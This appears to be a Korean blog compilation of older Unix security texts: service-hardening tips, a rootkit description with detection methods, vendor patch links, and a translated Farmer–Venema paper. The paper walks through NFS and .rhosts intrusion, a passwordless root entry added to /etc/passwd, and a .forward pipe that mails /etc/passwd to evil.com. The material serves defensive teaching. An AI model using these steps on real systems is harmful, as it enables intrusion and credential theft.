chkconfig를 이용하여, 데몬중에 반드시 있어야할 데몬을 남겨두고는 전부 죽이는게 해킹을 방지할 수 있는 지름길
입니다.

#chkconfig --list (/sbin 밑에 위치)
#chkconfig --help (참고)
#chkconfig --level 3 sendmail off (사용방법예)

#chkconfig --list (하면 나오는것들)
xfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
anacron 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
apmd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
arpwatch 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
atd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
keytable 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
gpm 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
inet 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
netfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
network 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
random 0:끔 1:켬 2:켬 3:켬 4:켬 5:켬 6:끔
ipchains 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
pcmcia 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kdcrotate 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kudzu 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
linuxconf 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
lpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfslock 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
identd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
portmap 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rstatd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rusersd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwalld 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwhod 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
sendmail 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
syslog 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
snmpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
crond 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
ypbind 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
yppasswdd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
ypserv 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
proftpd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
named 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔

이중 켜야할것은 보통 9개정도밖에 안됩니다.
3번레벨을 기준으로, keytable,inet, network,random,kudzu,sendmail,syslog, crond,proftpd 나머지는 off
시켜주는것이 바람직합니다. (자기의 환경에 맞춰서 설정해주시기 바랍니다.)
2006/09/08 22:37 2006/09/08 22:37
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:36
출처 블로그 > silverdory의 블로그
원본 http://blog.naver.com/silverdory/20007147439
ADMIN "Safe Machine, Safe Admin" Sat. 2004/11/06
MainIntroductionDocsLinksBoardQandA

rootkit

작성 : 김경애, drizzle@snags.snu.ac.kr

날짜 : 1999년 11월 2일

내용 : rootkit의 특징과 진단 방법에 대해 설명합니다.


차례

  1. rootkit에 대한 설명
  2. rootkit의 특징
  3. rootkit의 진단
  4. 대응 방향

1.rootkit에 대한 설명 /

다른 시스템에 침입하기 위한 프로그램 등이 다양하지만, linux 와 solaris에 설치 가능한 것 중에 rootkit이란 패키지가 있습니다. 원격으로 슈퍼 유저 로그인이 가능할 뿐만 아니라 침입했다는 사실을 숨기는 기능까지 있기 때문에 매우 위험합니다. 98년 12월에 나온 linux rootkit IV가 최신 버젼이며, 이는 다양한 툴들을 제공합니다.그 전의 버젼들은 이에 포함되어 있으므로 생략하기로 하고 이를 기준으로 살펴보기로 합니다.

  • 일반 유저를 슈퍼유저로 만들어주는 chfn, chsh, passwd 등
  • eggdrop 등을 자동으로 돌려주는 crontab의 기능
  • 침입 흔적을 숨겨주는 ls, find, du, ps, pidof, top 등
  • 네트웍 연결을 숨겨주는 ifconfig, netstat, inetd, syslogd, tcpd 등
  • backdoor 기능을 하는 login, rshd 등
  • wtmp, utmp 등을 수정하는 wted, 그리고 lastlog 까지 지우는 z2 등

    이처럼 rootkit은 로그가 남지 않게 하면서 network으로 슈퍼유저 로그인이 가능하며, 위와 같은 파일들을 새로 설치한다 하더라도 fix라는 기능으로 그 파일의 modified time을 바꾸지 않기 때문에 rootkit이라는 사실을 잘 찾아낼 수 없습니다.

    2.rootkit의 특징 /

    rootkit은 가장 기본적인 명령들 - ls, find, ps, ifconfig, netstat 등- 의 파일을 다른 특수 파일들을 참고 하게 하여 특정 사실들을 보이지 않게 하는 용도로 많이 사용됩니다. 기본적으로 컴파일을 하면, 주로 참고하는 파일이 /dev 아래에 만들어지며, sda69*로 시작되는 파일이나, pty*로 시작되는 파일이 default로 설치되는 것으로 보입니다.

    login
    rootkit 패스워드를 알고 있는 어떤 계정도 로그인이 가능합니다. 슈퍼유저로 로그인을 막고 있다 하더라도 "rewt"로 로그인하면 가능합니다. last, w 명령으로 보이지 않고, log도 남지 않습니다.

    ls
    특정 파일이나 디렉토리 등을 보이지 않게 할 수 있습니다. 이는 rootkit 컴파일시 rootkit.h의 설정 파일에서 참고 파일을 지정할 수 있고, default는 /dev/ptyr로 되어 있습니다.

    # more /pytr    chattr    tcp.log    .s    s    ssynk    ptycron    /dev/ptycron    ptyp    /dev/ptyp    ptyq    /dev/ptyq    ptys    /dev/ptys    ptyr    /dev/ptyr
    이처럼 하면, /dev/pty[pqtr] 등의 파일이 보이지 않습니다.

    netstat
    특정 IP address 나 domain name, port 등을 보이지 않게 합니다. 사용 형식은, 다음과 같습니다.

      default data file: /dev/ptyq       type 0: hide uid       type 1: hide local address       type 2: hide remote address       type 3: hide local port       type 4: hide remote port       type 5: hide UNIX socket path
    예를 들어,
    # more /dev/ptyq     0 500                1 128.31            2 128.31.39.20     3 8000            4 6667           5 .term/socket
    uid 가 500인 사용자, 128.31.X.X으로부터(from) 접속, 128.31.39.20으로의(to) 접속, port 8000으로 접속해오거나, port 6667로 다른 호스트에 접속한 것에 대한 내용을 모두 다 숨깁니다. 뿐만 아니라 .term/socket path를 포함한 UNIX socket에 대한 것을 숨기게 합니다.

    ps
    특정 프로세스에 대한 정보를 숨깁니다. default로는 /dev/ptyp의 설정 파일을 참고 합니다.

    # more /dev/ptyp    0 0             1 p0           2 sniffer     3 hack   
    uid 0이 실행시킨 프로세스, tty p0에서 띄운 프로세스, sniffer라는 이름으로 실행하거나, hack이란 단어가 들어간 프로그램이 돌아가는 프로세스에 대한 것을 숨기도록 하는 예입니다.

    syslogd
    특정 문자열을 포함하는 모든 로그를 삭제합니다. 역시 default로 /dev/ptys 파일을 참고합니다.

    # more /dev/ptys    evil.com     123.100.101.202     rshd 
    evil.com , 123.100.101.202, rshd 를 포함하는 모든 로그를 지웁니다.

    3.rootkit의 진단 /

    rootkit 패키지의 내용을 살펴보면, 위에서 말한 ls나 ps 등의 설정 파일들을 default로 /dev 아래에 설치하도록 되어 있습니다. /dev 아래에는 block이나 packet 파일 등 우리가 잘 알지 못하면서 이름이 비슷한 파일들이 ls 로는 찾아볼 수 없도록 많이 있기 때문입니다. 따라서

     # find /dev -type f -print 
    의 명령으로 일반 파일들을 찾았을 때 위에서 본 것과 같은 설정 파일이 있는지 확인해야 합니다. 일반적으로 pty[pqrs]나 sda69*로 시작되는 파일들이 많이 발견되고 있습니다. 그러나 이것도 안전한 방법은 아닌 이유는 find 명령도 rootkit의 일부이기 때문입니다. 따라서 가장 안전한 방법은 무결성이 보장된 파일로 점검하는 것입니다.
    또다른 방법 중의 하나는 ls, ps 등 위에서 언급된 파일들의 내용이 이상한가 살펴보는 것입니다.
     #  strings /usr/bin/ls
    를 실행했을 때 /dev/ptyp 등의 내용이 있다던가 하면 이는 rootkit으로 바꾸어진 ls 라는 것을 알 수 있습니다.
    또 만약 rootkit을 설치할 때, 옵션을 주어 컴파일 했다면,
     # ls -/
    '-/'의 옵션이 에러로 나오는 것이 아니라 ls 명령이 실행되게 되는데, 이것도 rootkit의 결과입니다.
    linux의 경우에는 rootkit을 체크하는 방법이 더 쉽습니다.
     # rpm -Va S.5....T   /bin/ls .M......   /dev/log S.5....T   /usr/bin/find missing    /bin/netstat S.5....T   /sbin/ifconfig SM5....T   /bin/ps SM5....T c /etc/syslog.conf SM5....T   /bin/login
    이처럼 rpm을 이용해서 파일들이 시스템 설치 이후 바뀌었는지를 알 수 있습니다. 자세한 것은 rpm manpage를 참고하시면 됩니다.
    그리고 rootkit에 sniffing, scan의 도구가 함께 들어 있기 때문에, 보통 rootkit을 설치한 침입자라면 이 도구를 사용할 가능성이 높습니다. 따라서 네트웍 트래픽이 정상적인지를 살핌으로써 침입을 감지할 수도 있습니다.

    4.대응방향 /

    rootkit에 대한 완벽한 대응 방향이 있는 것은 아닙니다. 모든 보안의 방법처럼, 평소에 시스템 보안에 신경을 쓸 수 밖에 없습니다. 이는 Document의 Unix Security를 참고하시기 바랍니다.
    만약 rootkit이 설치된 시스템에 대해 새로 설치를 하지 않는다면, 위에서 언급된 파일들을 무결성 진단이 된 파일들로 바꾸어야 합니다. 그리고 crontab 이나 inetd.conf 등을 잘 살펴 backdoor가 있는지 잘 체크해주어야 합니다. 새로 설치하지 않는 이상 backdoor가 남아있다면 다시 재침입당할 가능성이 높을 수 밖에 없습니다.

  • 2006/09/08 22:36 2006/09/08 22:36
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 포렌식 감사
    원본 http://blog.naver.com/jabusunin/20010591966
    출처 : rootda.org
    OS Vendor별 Security Reference
    1. BSD 계열의 보안 참조 사이트
    1.1 BSD/OS

    1.1.1 Patches
    BSDI 인터넷 서버와 인터넷 Super서버에 대한 패치사이트 : http://www.bsdi.com/services/support/patches/
    1.1.2 보안 권고문
    BSDI 인터넷 서버와 인터넷 Super서버에 대한 보안권고문 : http://www.bsdi.com/services/support/
    1.2. FreeBSD

    1.2.1 Patches
    FreeBSD에 대한 패치정보 및 Download는 다음 사이트를 방문하면 된다.
    ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386
    ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha
    1.2.2 보안권고문 http://www.freebsd.org/security/
    1.3 NetBSD

    1.3.1 Patches : NetBSD 운영체제에 대한 보안 패치정보 사이트 http://www.netbsd.org/Security/
    1.3.2 Security Advisories http://www.netbsd.org/Security/
    1.4 OpenBSD

    1.4.1 Patches : OpenBSD에 대한 패치정보 ftp://ftp.openbsd.org/pub/OpenBSD/patches/
    1.4.2 Security Advisories http://openbsd.org/errata.html

    Top 2. Linux계열의 Vendor별 보안 참조 사이트

    2.1 Caldera OpenLinux

    2.1.1 Patches : OpenLinux제품에 대한 버전별 Update정보는 다음 사이트를 통하여 참조할 수 있다
    ftp://ftp.calderasystems.com/pub/updates/OpenLinux/
    2.1.2 보안 권고문 http://www.calderasystems.com/support/security/
    2.2 Debian GNU/Linux

    2.2.1 Debian GNU/Linux의 보안정보, Security Bullentin의 링크정보 및 패치, Update정보의 참조 사이트 http://www.debian.org/security/
    2.3 Mandrake Linux

    2.3.1 Patches and Security Advisories : Mandrake Linux의 보안정보, Security Bullentin의 링크정보 및 패치, Update, 권고문 정보의 참조 사이트 http://www.linux-mandrake.com/en/security/
    2.3.2 Security Configuration Scripts : Mandrake Linux사이트는 OS의 보안을 강화하기위한 방법 및 스크립트 등에 관련된 정보를 현재 제공하고 있다. http://bastille-linux.sourceforge.net
    2.4 RedHat Linux

    2.4.1 패치 및 보안 권고문 http://www.redhat.com/support/errata/
    2.4.2 Security Configuration Scripts : RedHat Linux사이트는 OS의 보안을 강화하기위한 방법 및 스크립트 등에 관련된 정보를 현재 제공하고 있다.
    http://bastille-linux.sourceforge.net

    Top

    2.5 Slackware Linux

    2.5.1 패치정보 및 최신버전의 SlackWare Linux OS
    ftp://ftp.slackware.com/pub/slackware/
    ftp://ftp.slackware.com/pub/slackware/slackware-current/
    2.5.2 보안 권고문
    SlackWare는 보안권고문 정보를 메일링 리스트를 통하여 제공하고 있으며, 보안권고문 정보를 다음사이트에서 제공하고 있다.
    http://www.slackware.com/lists/
    http://www.slackware.com/changelog/
    2.5.3 Security Configuration Scripts : SlackWare는 관리자를 위한 보안설정 툴킷(SAStk)를 제공하고 있으며,이 도구를 사용하여 SlackWare Linux의 OS를 더욱더 안전하게 구성할 수 있을 것이다. 이 Tool의 정보는 다음 사이트를 방문하면 구할 수 있을것이다. http://www.sastk.org/
    2.6 SuSE Linux
    Suse Linux의 권고문, 패치, Update등의 보안정보는 다음 사이트를 참조하면 된다.
    http://www.suse.com/us/support/security/index.html
    2.7 TurboLinux
    TurboLinux의 권고문, 패치, Update등의 보안정보는 다음 사이트를 참조하면 된다. http://www.turbolinux.com/security/
    2.8 기타 Linux정보
    기타 베포된 Linux의 정보는 Vendor의 웹사이트를 참조하길 바라며, Linux를 배포한 Vendor 사이트의 정보는 다음 패이지를 참조하면 된다. http://www.linux.org/dist/index.html

    Top 3. 솔라리스(solaris)의 보안관련 참조 사이트

    3.1 솔라리스의 패치정보 : SUN은 정규적으로 보안패치 및 권고사항정보를 Update한다. 이러한 정보는 다음의 사이트를 방문하여 확인 할 수 있다.
    ftp://sunsolve1.sun.com/pub/patches/
    http://sunsolve1.sun.com/
    3.2 IP Forwarding and Source Routing : IP Forwarding, Source Routing은 SUN서버 시스템을 배스천호스트(Bastion Host) 또는 Dual Homed시스템으로 구성시에는 반드시 주의하여 구성하여야 한다. IP Forwarding, Source Routing은 사용하지 않는 것이 보안상 바람직하며, /etc/rc2.d/S69.inet파일을 수동으로 편집하여 조작할 수 있으며, ndd 툴을 사용하여 IP Forwarding, Source Routing을 사용하지 않도록 설정할 수 있다. 다음은 이러한 명령어를 사용하여 해당 플래그 값을 0으로 설정하는 예를 보여준다. 이때 주의 해야 할 점은 이렇게 설정한 환경이 적용되도록 하기 위해서 반드시 시스템을 재부팅해주어야 한다.
    ndd -set /dev/ip ip_forwarding 0
    ndd -set /dev/ip ip_ip_forward_src_routed 0
    3.3 Stack Execution : 버퍼오버플로우(Buffer Overflow)공격에 대한 "stack smashing"공격를 디폴트로 차단시키기 위해 실행가능한 스택모드를 실행불가능하도록 설정하여 운영하는 것이 바람직하다. 이는 /etc/system파일에 다음 2개의 라인을 추가하고 시스템을 재부팅하면 된다.
    set noexec_user_stack=1
    set noexec_user_stack_log=1
    3.4 Security Bulletins : SUN사의 Security Bulletin 웹사이트 및 SunSolve(SUN제품의 Solution)웹사이트는 다음의 사이트를 참조하면 된다.
    http://sunsolve.sun.com/
    http://www.sun.com/security/
    3.5 Sun BluePrints : BluePrint는 SUN의 솔루션들을 사용한 최고의 실제사례에 대한 깊이있는 정보들에 대하여 참고할 만한 자료들을 모아놓은 사이트이다. 다음의 사이트를 참조하면 된다. http://www.sun.com/blueprints/
    특히 이러한 BluePrints자료들중에 보안관련 섹션은 다음과 같다.
    http://www.sun.com/blueprints/browsesubject.html#security

    Top

    다음은 보안관련 각 호스트, 네트워크등의 부분에 대한 자료들의 참조 링크들이다.
    Solaris에 대한 운영체제 환경에 대한 보안 설정 : http://www.sun.com/blueprints/0401/security-updt1.pdf
    Solaris의 네트워크 운영환경의 보안 설정 : http://www.sun.com/blueprints/1200/network-updt1.pdf
    Solasis의 보안에 대한 Minimization : http://www.sun.com/blueprints/1100/minimize-updt1.pdf
    3.6 Solaris Security Toolkit (JASS : JumpStart Architecture and Security Scripts 툴킷)
    JASS는 솔라리스의 운영환경의 보안에 대한 유연성있고, 확장가능하며 자동화된 스크립트를 지원한다. 관련 추가정보 및 Download는 다음사이트를 참조하면 된다. http://www.sun.com/security/jass/
    4. SGI IRIX
    4.1 Patches : IRIX의 보안패치정보는 다음 사이트를 참조하면 된다.
    http://www.sgi.com/support/security/
    IRIX에 대한 적절한 보안설정을 하기 위해서는 다음의 FAQ를 참조하기 바란다.
    http://www-viz.tamu.edu/~sgi-faq/faq/html-1/security.html
    IRIX의 보안에 대한 취약점을 점검하기 위해서 다음의 도구(rscan)를 활용하는 것도 많은 도움이 될 것이다.
    http://www.protomatter.com/rscan/
    4.2 보안 권고문 : SGI의 보안 권고문을 참조하기 위해서는 다음의 사이트를 방문하면 된다.
    http://www.sgi.com/support/security/advisories.html

    Top 5. Hewlett Packard UNIX (HP-UX)

    5.1 패치정보 : 적절한 보안 패치를 검토하고 적용하기 위해서는 HP-UX의 패치사이트를 참조하면 된다.
    http://us-support.external.hp.com/
    6. Digital/Compaq Tru64 UNIX
    6.1 패치정보 : 적절한 보안 패치를 검토하고 적용하기 위해서는 다음의 패치사이트를 참조하면 된다.
    http://ftp.support.compaq.com/patches/.new/unix.shtml
    7. IBM AIX
    7.1 패치정보
    AIX의 보안패치, 복구, 드라이버, Update, 도구등에 대한 정보는 다음의 사이트에서 제공한다.
    http://techsupport.services.ibm.com/rs6000/fixes
    7.2 보안 권고문
    IBM은 보안 권고문에 대한 정보는 다음의 사이트에서 제공한다.
    http://techsupport.services.ibm.com/rs6000/notification
    2006/09/08 22:32 2006/09/08 22:32
    이 글에는 트랙백을 보낼 수 없습니다
    Dan Farmer

    Sun Microsystems
    2550 garcia ave MS PAL1-407
    Mountain View CA 94043
    zen@sun.com

    Wietse Venema

    Eindhoven University of Technology
    P.O. Box 513, 5600 MB
    Eindhoven, NL

    wietse@wzv.win.tue.nl


    개요

    최근 전산망을 통한 침입이 매우 잦아지고 있으며, 이 수법들도 매우 복잡해지는
    수준에 있다. 많은 경우가 패스워드의 문제점에 기인하다고 믿지만 최근 보다
    우수한 침입기법을 이용하는 경우가 많이 발견된다. 이러한 기법들은 잘 발견되기
    어려우므로 아직은 덜 알려져 있는 실정이다.

    보통의 시스템 침입자들의 이미지라고 할 수 있는 단순한 시스템 id 의 반복적인
    시도가 아니라 보다 위험한 경우들이 있다. 최근의 시스템 감사 및 침입도구의
    사용법을 잘 알고 있다든가, 어떤 특정 공격 방법을 수정할 수 있다든가, 또 자신
    이 스스로 프로그램을 만들 수 있다든가 하는 식의 전문 침입자들이 그들이다.
    또한 새로 발견된 시스템의 취약점을 잘 알수 있다든가, 새로운 버그나 취약점들을
    발견하기도 하는데, 이들을 "Uebercracker"라고 한다.


    개요

    이 논문에서는 일반적인 시스템보안에 대한 접근방법을 얘기하는 것이 아니며,
    잠재적인 침입자의 입장에서 "어떻게", "왜"라는 입장에서 접근하고자 한다.
    시스템의 취약점을 찾기위해 불필요한 네트워크 서비스가 도움을 주는 도구이며,
    이러한 서비스들이 운영체제에서 정확하게 동작한다 하도라도 이러한 도구가 될
    수 있는 것이다.

    여기에서는 보다 우수한 침입방법들에 대해 초점을 맞추고, 침입자들이 사용하는
    혹은 시스템의 시험 등을 통해 침입자들을 점검하는 것에 대해 알아 본다. 보통
    시스템관리자들이 간과하기 쉬운 일반적인 공격 이상에 대해 알아보고자 하며,
    어떤 자원이 보호되어야 한다는 것을 잘 알고는 있지만 네트워크나 시스템의 보호
    를 위해 어떤 수준의 평가가 필요한지는 잘 모르고 있다는 점도 알아야 한다.
    침입자들이 어떤 접근을 하려고 하는지를 보임으로서 시스템관리자들이 어떻게
    보안을 세눌 것인지 결정하는데 도움을 주고자 한다.

    이 논문에서는 단순히 시스템의 버그나 보안취약점을 나열하지는 않는다. 이 논문
    의 목적은 어떤 관리자가 자신의 시스템의 보안을 위해 새로운 관점에서 침입
    가능성을 이해시키고자 함이다.

    이 논문에는 4개의 주된 부분으로 나누어진다. 첫째는 개요이며, 두번째 부분은
    침입자들이 어떻게 시스템의 보안 메카니즘에 대해 모르면서 침입할 수 있는지
    그 경향을 알게금 하는 부분인데 실질적인 네트워크의 보안취약점을 어떻게 알아
    내고 정보를 알아내 들어가는가에 대한 구체적인 기법들을 보인다. 여기에서는
    특히 NIS나 NFS 등을 이용한 기법 등에 대해서도 조금 다룰 것이며, 시스템이나
    운영체제에 특정적인 구성문제 등에 대해서도 다루며, 이에 대한 대비책도 보일
    것이다.

    세번째 부분에서는 어떻게 시스템의 보안이 다른 시스템의 무결성에 따라 달라
    지는지 보일 것이며, 이러한 신뢰(Trust)문제는 매우 복잡한 이슈이다.

    네번째 부분에서는 시스템 관리자들이 취해야 할 보안의 기본적인 절차에 대해
    말하고자 한다.

    이 논문의 사례나, 보안 관련 정보, 소프트웨어 등은 이 논문의 마지막에 부록
    에소 보이고 있다.

    이 논문에서 설명된 침입 방법, 기법들은 SATATN(Security Analysis Tool for
    Auditing Networks.) 을 우리는 발표하였다. 이것은 shell, perl, C 등으로 만들
    었으며, 원격지의 시스템에 대해 NIS, finger, NFS, ftp and tftp, rexd 등을
    검사할 수 있다. 뿐만 아니라 잠재적인 보안 문제로서, 잘못된 시스템 구성, 잘
    못된 네트워크 서비스 구성, 시스템이나 네트워크의 잘 알려진 버그 등을 점검
    하게 된다. 이것은 데이타나 잠재적인 보안 문제를 향후 검사하기 위한 전문가
    시스템을 제공한다. 부록 A가 이러한 기능들을 보여주고 있다.

    이 하나의 논문에서 모든 침입방법들을 다 다룰 수는 없으며, 또한 우리의 관심이
    아니다. 사회공학이나 패스워드 Cracking 등이 있으나 가령 패스워드 공격방법에
    대해서는 사실 여기에서도 다루고 있으며, 특히 X Window 공격도 있지만 사실 대
    부분의 침입자들이 이러한 비트맵을 볼 수 있는 단말기등을 가지고 있지 않기 때
    문에 여기에 기술하지 않는다.


    정보를 획득하기

    맨 먼저 무엇을 할 것인가? 먼저 소속한 공격 대상 시스템의 정보를 수집하라.
    이 것을 알 수 있는 방법이 있다. finger, showmount, rpcinfo등을 맨처음 이용할
    수 있을 것이다. 하지만 그밖에도 DNS, whois, sendmail(smtp), ftp, uucp 등의
    여러가지 기법들을 이용할 수 있으며 이러한 정보들은 소속 기관의 전체 네트워크
    침입에 이용될 수 있지만 지금은 우선 단지 특정 목표시스템에 대해 알아본다.

    먼저 finger 명령을 보도록 한다.

    victim % finger @victim.com
    [victim.com]
    Login       Name             TTY Idle     When    Where
    zen      Dr.  Fubar           co   1d  Wed 08:00   death.com

    이것은 하나의 사용자이며, 현재 Idle하므로 아무도 당신의 침입에 대해 신경쓰지
    않을 것이다. 또 다른 전략으로서, "@", "0", "", root, bin, ftp, system, guest,
    demo, manager, 등을 finger하여 보다 많은 정보들을 보기로 한다. 이러한 정보들은
    시스템의 버젼에 따라 다르지만 보통 계정이름과 홈 디렉토리, 마지막 로그인한
    호스트 이름 드을 밝혀 주게 된다.

    여기에 더해 사용자들의 정보를 보기 위해 rusers("-l"옵션으로)를 사용한다.
    이것으로 victim.com 은 다음을 더 보여줄 것이다.

    Login   Home-dir    Shell      Last login, from where
    -----   --------    -----      ----------------------
    root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
    bin     /bin                   Never logged in
    nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
    daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
    sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
    zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
    sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
    guest   /export/foo /bin/sh    Never logged in
    ftp     /home/ftp              Never logged in

    SATAN이나 침입자들의 활동을 보는 경험에 비추어 finger 는 매우 위험한 서비스
    이다. 하지만 이것은 다른 데이타와 함께 활용하면 더욱 유용하게 된다.

    예를 들어 showmount 를 실행하여 보자.

    evil % showmount -e victim.com
    export list for victim.com:
    /export                            (everyone)
    /var                               (everyone)
    /usr                               easy
    /export/exec/kvm/sun4c.sunos.4.1.3 easy
    /export/root/easy                  easy
    /export/swap/easy                  easy

    /export/foo 가 완전히 개방되어 있음을 알 수 있다. 뿐만 아니라 이것의 사용자는
    guest의 홈디렉토리이다.  이 경우 "guest" 사용자의 홈디렉토리를 마운트하여
    침입에 성공할 수 있을 것이다. 자신의 시스템에 대응되는 계정도 없으며, root가
    NFS 마운트된 파일시스템의 파일을 수정할 수 없으므로 자신의 시스템이 있는
    패스워드 파일에 "guest" 계정을 만든다. 목표시스템의 "guest" 홈 디렉토리에
    .rhosts 를 만들어 패스워드 없이 로그인할 수 있을 것이다.

    evil # mount victim.com:/export/foo /foo
    evil # cd /foo
    evil # ls -lag
    total 3
       1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
       1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
       1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
    evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
    evil # ls -lag
    total 3
       1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
       1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
       1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
    evil # su guest
    evil % echo evil.com >> guest/.rhosts
    evil % rlogin victim.com
            Welcome to victim.com!
    victim %

    만약 홈디렉토리가 아닌 사용자 명령어(/usr or /usr/local/bin)디렉토리를 개방하
    였다면, 명령어를 당신의 의도대로 만든 트로이목마 프로그램등으로 대치해 두면
    다음 사용자가 이를 실행하면 당신이 원하는 명령을 목표 시스템에 실행할 수 있다.

    파일 시스템은,

    - 특별히 신뢰하는 클아이언트에만 read/write only 로 개방하며,
    - 가능한 Read-only로 만든다.

    만약 /etc/hosts.equiv 에 "+"를 가지고 있다면(대부분 업체에서는 이것이 디폴트)
    혹은 netgroups 버그(CERT advisory 91:12)의 경우 목표시스템의 패스워드 파일내
    에 있는 계정을 가진 사용자면 패스워드 없이 로그인할 수 있다. "bin" 사용자는
    중요한 디렉토리나 파일을 소유주이므로 목표시스템에 다음 들어갈 경우에는 root
    로 접근할 수 있도록 패스워드 파일을 수정할 수 있다. 

    evil % whoami
    bin
    evil % rsh victim.com csh -i
    Warning: no access to tty; thus no job control in this shell...
    victim %  ls -ldg /etc
    drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
    victim %  cd /etc
    victim %  mv passwd pw.old
    victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
    victim % ^D
    evil % rlogin victim.com -l toor
            Welcome to victim.com!
    victim #

    rsh 을 finger나 who로 보이지 않도록 wtmp나 utmp 시스템 로그를 이용한 어떤
    추적도 남기지 않으므로 시스템에  접근할 수 있다. COPS(부록D) 은 관리자가 아닌
    어떠한 사용자가 주요한 파일에 대해 쓰기권한을 가질 수 있는지 보고한다.
    만약 SunOS 4.x 을 사용한다면 패치 100103 을 이용하여 파일 접근 권한문제를
    해결할 수 있다. 위의 rsh 방법은 적당한 자료를 남기지 않으므로 tcp wrapper
    (부록 D)는 들어오는 접속에 대해 적당한 로그를 남긴다.


    ---------------------------------------------------------------------------
    이제 무엇을 하나? 목표 시스템의 모든 취약점을 다 찾은 것이 아닐 것이다.        
    다시 "finger" 를 이용하여 목표 시스템이 "ftp" 게정을 가지고 있다는 것을 알게
    된다면, 이는 anonymous ftp를 구성하고 있다는 것을 알려주는 것이다.
    anonymous ftp는 잘못 구성됨으로서 쉽게 외부에서 접근 할 수 있게 해준다.
    예를 들어 목표 시스템이 ~ftp/etc 디렉토리에 /etc/passwd 파일 전체 카피를
    가지고 있다면 victim.com의 ftp 계정의 홈디렉토리는 쓰기가 가능해진다.
    이것은 목표시스템에 remote 명령을 실행할 수 있도록 해주는, 예를 들어 전자우편
    을 통해 패스워드 파일을 보내게한다든가 하는 식의, 즉 ftp로 메일이 왔을 때
    명령을 실행하도록 .forward 파일을 만들 수 있는 것이다. 이것은 "vacation"
    프로그램이 메일에 자동 응답하도록 사용하는 파이프의 개념을 이용하는 것이다.

    evil % cat forward_sucker_file
    "|/bin/mail zen@evil.com < /etc/passwd"

    evil % ftp victim.com
    Connected to victim.com
    220 victim FTP server ready.
    Name (victim.com:zen): ftp
    331 Guest login ok, send ident as password.
    Password:
    230 Guest login ok, access restrictions apply.
    ftp> ls -lga
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
    total 5
    drwxr-xr-x  4 101      1             512 Jun 20  1991 .
    drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
    drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
    drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
    drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
    226 ASCII Transfer complete.
    242 bytes received in 0.066 seconds (3.6 Kbytes/s)
    ftp> put forward_sucker_file .forward
    43 bytes sent in 0.0015 seconds (28 Kbytes/s)
    ftp> quit
    evil % echo test | mail ftp@victim.com

    이제 당신은 단순히 패스워드 파일이 올때 까지 기다리면 되는 것이다.             

    COPS가 Anonymous FTP 가 올바른지 점검할 수 있으며, ftp 매뉴얼 페이지나,        
    COPS의 문서나 코드 혹은 CERT-Advisory 93:10 을 참고하여 올바르게 Anonymous
    FTP를 설치할 수 있도록 한다. ftp 의 취약성은 주요한 파일이나 디렉토리의
    잘못된 소유주 문제에서도 비롯될 수 있으며, 최소한 ~ftp와 ~ftp 아래에 있는
    모든 시스템디렉토리 및 파일의 소유주룰 root로 해야 하며, 기타 어떤 사용자
    에게도 쓰기 권한을 허용해서는 안된다.

